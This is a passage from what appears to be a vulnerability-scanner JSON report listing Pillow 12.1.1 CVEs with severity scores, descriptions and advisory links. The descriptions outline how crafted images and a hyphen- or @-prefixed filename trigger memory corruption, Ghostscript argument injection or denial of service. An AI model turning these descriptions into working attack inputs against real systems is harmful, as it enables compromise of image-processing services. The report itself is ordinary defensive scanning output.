"PublishedDate": "2026-10-19T22:17:07.107Z", "LastModifiedDate": "2026-10-27T21:01:25.823Z" }, { "VulnerabilityID": "CVE-2026-112403", "VendorIDs": [ "GHSA-8g5g-8vmr-9782" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112403", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5931157b198a607f256d764dfac9c90c63350513e58c65df29d874933ea7e47d", "Title": "pillow: Pillow: Heap buffer overflow in ImagingJpegDecode", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's JPEG decoder can write a full-width scanline into a buffer sized for a requested draft scale. ImagingJpegDecode does not verify libjpeg's actual output width and component count after scaling is requested, and an 8-bit lossless SOF3 JPEG decoded by a build linked to libjpeg-turbo 3.x can ignore the requested downscaling geometry. An attacker can supply such a JPEG to an application that uses draft() or thumbnail() to request downscaling. This can corrupt heap memory, crash the process, or potentially allow code execution. Older libjpeg-turbo 2.x and IJG builds reject the SOF3 input. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-122" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "nvd": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112403", "https://advisory.echohq.com/cve/CVE-2026-112403", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782", "https://nvd.nist.gov/vuln/detail/CVE-2026-112403", "https://www.cve.org/CVERecord?id=CVE-2026-112403" ], "PublishedDate": "2026-10-19T22:17:07.77Z", "LastModifiedDate": "2026-10-27T15:00:15.043Z" }, { "VulnerabilityID": "CVE-2026-112900", "VendorIDs": [ "GHSA-w889-685w-c8fh" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112900", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5682d44daea1263c9c08915b70df65c3f0e8250f5581fb8ecf0d896d270ae7bf", "Title": "pillow: Pillow: Argument Injection in Ghostscript call, potentially leading into RCE", "Description": "Pillow is a Python imaging library. From 2.6.0 until 13.0.0, Pillow is vulnerable to argument injection when invoking Ghostscript for EPS input. EpsImagePlugin.Ghostscript passes a caller-controlled input filename after -f without converting it to a safe absolute path, so a name beginning with a hyphen can be interpreted as a Ghostscript option. An attacker who controls the filename can inject Ghostscript arguments. Arbitrary command execution specifically requires a leading @ argument-file filename and control of the referenced text file containing additional Ghostscript arguments; the reported chain reproduces with the default -dSAFER invocation. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-78", "CWE-88" ], "VendorSeverity": { "alma": 4, "bitnami": 4, "ghsa": 4, "nvd": 4, "oracle-oval": 4, "redhat": 4, "rocky": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 9.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93077", "https://access.redhat.com/security/cve/CVE-2026-112900", "https://advisory.echohq.com/cve/CVE-2026-112900", "https://bugzilla.redhat.com/2555846", "https://bugzilla.redhat.com/2555867", "https://bugzilla.redhat.com/2555889", "https://bugzilla.redhat.com/show_bug.cgi?id=2555846", "https://bugzilla.redhat.com/show_bug.cgi?id=2555867", "https://bugzilla.redhat.com/show_bug.cgi?id=2555889", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112393", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112900", "https://errata.almalinux.org/8/ALSA-2026-93077.html", "https://errata.rockylinux.org/RLSA-2026:93077", "https://getsafety.com/v/SFTY-20261021-11431/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh", "https://linux.oracle.com/cve/CVE-2026-112900.html", "https://linux.oracle.com/errata/ELSA-2026-93077.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112900", "https://www.cve.org/CVERecord?id=CVE-2026-112900" ], "PublishedDate": "2026-10-19T22:17:10.16Z", "LastModifiedDate": "2026-10-27T14:55:00.937Z" }, { "VulnerabilityID": "CVE-2026-96639", "VendorIDs": [ "GHSA-v9pv-5gc8-w2m6" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-96639", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:f2a91d3c5e323afcf74e1b8beed23bbd4f2e062b29f4b1085446cdc43536c5e5", "Title": "pillow: Pillow multi-frame loaders can reuse stale native image storage after mode transitions", "Description": "Pillow is a Python imaging library. From 11.0.0 until 13.0.0, multi-frame loaders can retain an ImagingCore allocation created for a narrow frame mode while a later frame of the same dimensions changes the logical mode and decoder tiles to wider RGB or CMYK data. ImageFile.load_prepare() reuses the stale native storage because _im is non-null without verifying that its mode and size still match. Crafted PSD, MPO, DCX, or MIC frame transitions can then write wider pixels into the narrow allocation, causing native out-of-bounds writes and crashes. The MPO path can also cause a native over-read and, in demonstrated runtime-specific profiles, command execution. This issue is fixed in version 13.0.0.", "Severity": "CRITICAL", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "bitnami": 4, "ghsa": 4, "redhat": 4, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-96639", "https://advisory.echohq.com/cve/CVE-2026-96639", "https://github.com/advisories/GHSA-v9pv-5gc8-w2m6", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/78d97d994579aef81aafe123773d525f40f2522a", "https://github.com/python-pillow/Pillow/pull/10105", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-v9pv-5gc8-w2m6", "https://nvd.nist.gov/vuln/detail/CVE-2026-96639", "https://www.cve.org/CVERecord?id=CVE-2026-96639" ], "PublishedDate": "2026-10-21T21:20:32.217Z", "LastModifiedDate": "2026-10-29T11:17:39.023Z" }, { "VulnerabilityID": "CVE-2026-112390", "VendorIDs": [ "GHSA-22hg-r758-rrw9" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112390", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b75135c6a99a35d058fa40e55a9ec0306b72a9df174cb967cc1a475973e7f2d6", "Title": "pillow: Pillow: Denial of Service via infinite loop during crafted MIC image parsing", "Description": "Pillow is a Python imaging library. From 7.2.0 until 13.0.0, Pillow can enter an infinite loop while determining the frame count of a MIC image. MicImageFile inherits TIFF frame traversal, but MicImageFile.tell reports the OLE stream index and its seek() resets TIFF frame state, so an embedded TIFF with at least three IFDs never advances. When an application with olefile installed reads n_frames or saves all frames from a crafted MIC file, the non-advancing traversal can hold a worker at full CPU indefinitely. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-835" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112390", "https://advisory.echohq.com/cve/CVE-2026-112390", "https://getsafety.com/v/SFTY-20261021-15476/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/26cb3ed061173b817b9ee4b6f507cb0e1e293218", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-22hg-r758-rrw9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112390", "https://www.cve.org/CVERecord?id=CVE-2026-112390" ], "PublishedDate": "2026-10-19T21:17:07.34Z", "LastModifiedDate": "2026-10-23T17:01:18.697Z" }, { "VulnerabilityID": "CVE-2026-112392", "VendorIDs": [ "GHSA-27h8-gf7j-v5hc" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112392", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:42b588faa21b2ad652e9444ac41f3730fec239e0c5995593c5e73c0c9748a2a8", "Title": "pillow: pillow: Denial of Service via zero-size images in rank filters", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's rank-based filters can dereference invalid image storage for a zero-size image. ImagingExpand() allocates a non-empty output and then faults while replicating edges by reading the first pixel from empty input storage; ImagingRankFilter is never reached. An attacker can supply or cause creation of a zero-size image to an application that applies a rank, median, minimum, or maximum filter. This causes a native process crash. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112392", "https://advisory.echohq.com/cve/CVE-2026-112392", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://getsafety.com/v/SFTY-20261021-39022/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/443e3130a8c11594fd0e296afad497e11e678961", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-27h8-gf7j-v5hc", "https://linux.oracle.com/cve/CVE-2026-112392.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112392", "https://www.cve.org/CVERecord?id=CVE-2026-112392" ], "PublishedDate": "2026-10-19T22:17:06.587Z", "LastModifiedDate": "2026-10-26T20:52:03.5Z" }, { "VulnerabilityID": "CVE-2026-112397", "VendorIDs": [ "GHSA-58r4-6rv3-gfh8" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112397", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:60ef5356c2440178168ea4936be548133b6885064c78423ab2eed00bea6f90b4", "Title": "pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:92639", "https://access.redhat.com/security/cve/CVE-2026-112397", "https://advisory.echohq.com/cve/CVE-2026-112397", "https://bugzilla.redhat.com/2555851", "https://bugzilla.redhat.com/2555859", "https://bugzilla.redhat.com/2555866", "https://bugzilla.redhat.com/2555868", "https://bugzilla.redhat.com/2555873", "https://bugzilla.redhat.com/2555875", "https://bugzilla.redhat.com/2555879", "https://bugzilla.redhat.com/2556322", "https://bugzilla.redhat.com/2558576", "https://bugzilla.redhat.com/2559393", "https://bugzilla.redhat.com/show_bug.cgi?id=2555851", "https://bugzilla.redhat.com/show_bug.cgi?id=2555859", "https://bugzilla.redhat.com/show_bug.cgi?id=2555866", "https://bugzilla.redhat.com/show_bug.cgi?id=2555868", "https://bugzilla.redhat.com/show_bug.cgi?id=2555873", "https://bugzilla.redhat.com/show_bug.cgi?id=2555875", "https://bugzilla.redhat.com/show_bug.cgi?id=2555879", "https://bugzilla.redhat.com/show_bug.cgi?id=2556322", "https://bugzilla.redhat.com/show_bug.cgi?id=2558576", "https://bugzilla.redhat.com/show_bug.cgi?id=2559393", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112405", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112892", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112894", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-112895", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-96640", "https://errata.almalinux.org/8/ALSA-2026-92639.html", "https://errata.rockylinux.org/RLSA-2026:92639", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/18f7c0dfee93063c51db6ed0ca8c4da2999dcb64", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-58r4-6rv3-gfh8", "https://linux.oracle.com/cve/CVE-2026-112397.html", "https://linux.oracle.com/errata/ELSA-2026-92639.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-112397", "https://www.cve.org/CVERecord?id=CVE-2026-112397" ], "PublishedDate": "2026-10-19T22:17:06.97Z", "LastModifiedDate": "2026-10-27T21:00:11.173Z" }, { "VulnerabilityID": "CVE-2026-112399", "VendorIDs": [ "GHSA-5xm2-6676-qcp9" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112399", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b040a73e623935ade781b2f029a1e60f02e4f4abcb466d63e015d55fefd1861d", "Title": "pillow: pillow: Denial of service via crafted APNG image", "Description": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow can allocate an APNG disposal background at the full canvas size before applying the decompression-bomb check. A crafted APNG with a small first frame, a very large declared canvas, and background disposal or first-frame OP_PREVIOUS reaches PngImageFile._seek while Image.open() positions frame zero. The full-canvas allocation occurs inside Image.open() without requiring pixel loading or frame iteration. This can exhaust memory and deny service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112399", "https://advisory.echohq.com/cve/CVE-2026-112399", "https://getsafety.com/v/SFTY-20261021-76942/52d", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/f1acfc54c53502948d0d14121872061df931db48", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xm2-6676-qcp9", "https://nvd.nist.gov/vuln/detail/CVE-2026-112399", "https://www.cve.org/CVERecord?id=CVE-2026-112399" ], "PublishedDate": "2026-10-19T22:17:07.24Z", "LastModifiedDate": "2026-10-28T16:17:02.13Z" }, { "VulnerabilityID": "CVE-2026-112400", "VendorIDs": [ "GHSA-65qm-jvmh-6pqg" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112400", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0f9be4cfd1142116785448e5420a4f6dc6d334364e7c0f00d4c43f7fbd3b62b8", "Title": "pillow: pillow: Denial of Service via memory exhaustion from crafted GIF image", "Description": "Pillow is a Python imaging library. From 9.2.0 until 13.0.0, Pillow can retain a rejected GIF frame size after a decompression-bomb exception. In GifImageFile._seek, a crafted GIF can leave rejected dimensions stored after Image.DecompressionBombError; if an application catches that exception and continues processing the same image object, later seek or load operations allocate according to those dimensions and can exhaust memory, denying service. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "bitnami": 3, "ghsa": 3, "nvd": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-112400", "https://advisory.echohq.com/cve/CVE-2026-112400", "https://github.com/python-pillow/Pillow", "https://github.com/python-pillow/Pillow/commit/6faed707cfb760a4cbd726ddc8406f576cf35bf7", "https://github.com/python-pillow/Pillow/releases/tag/13.0.0", "https://github.com/python-pillow/Pillow/security/advisories/GHSA-65qm-jvmh-6pqg", "https://nvd.nist.gov/vuln/detail/CVE-2026-112400", "https://www.cve.org/CVERecord?id=CVE-2026-112400" ], "PublishedDate": "2026-10-19T22:17:07.367Z", "LastModifiedDate": "2026-10-27T21:02:32.24Z" }, { "VulnerabilityID": "CVE-2026-112402", "VendorIDs": [ "GHSA-7mwm-ghpf-9vrm" ], "PkgName": "pillow", "PkgPath": "venv/lib/python3.12/site-packages/pillow-12.1.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pillow@12.1.1", "UID": "1a965fc9423ebd5c" }, "InstalledVersion": "12.1.1", "FixedVersion": "13.0.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-112402", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3d8df8d88c8cf0ccf5ba36313d53176bf1b109f177652aba3c6923f97ec13d99", "Title": "pillow: pillow: Denial of service via double free during image transformation", "Description": "Pillow is a Python imaging library. Prior to 13.0.0, Pillow can double free image memory when ImagingScaleAffine encounters a selective allocation failure. The affected fast path handles Transform.EXTENT or pure scale-and-translate Transform.AFFINE operations with the default NEAREST resampling. The output image allocation must succeed while the additional per-column lookup allocation fails, after which the error path deletes image storage that later cleanup releases again. An attacker who can drive such a large Image.transform() operation under memory pressure may trigger the failure. This can crash the process and may corrupt memory. This issue is fixed in version 13.0.0.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "bitnami": 3, "ghsa": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.7 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": 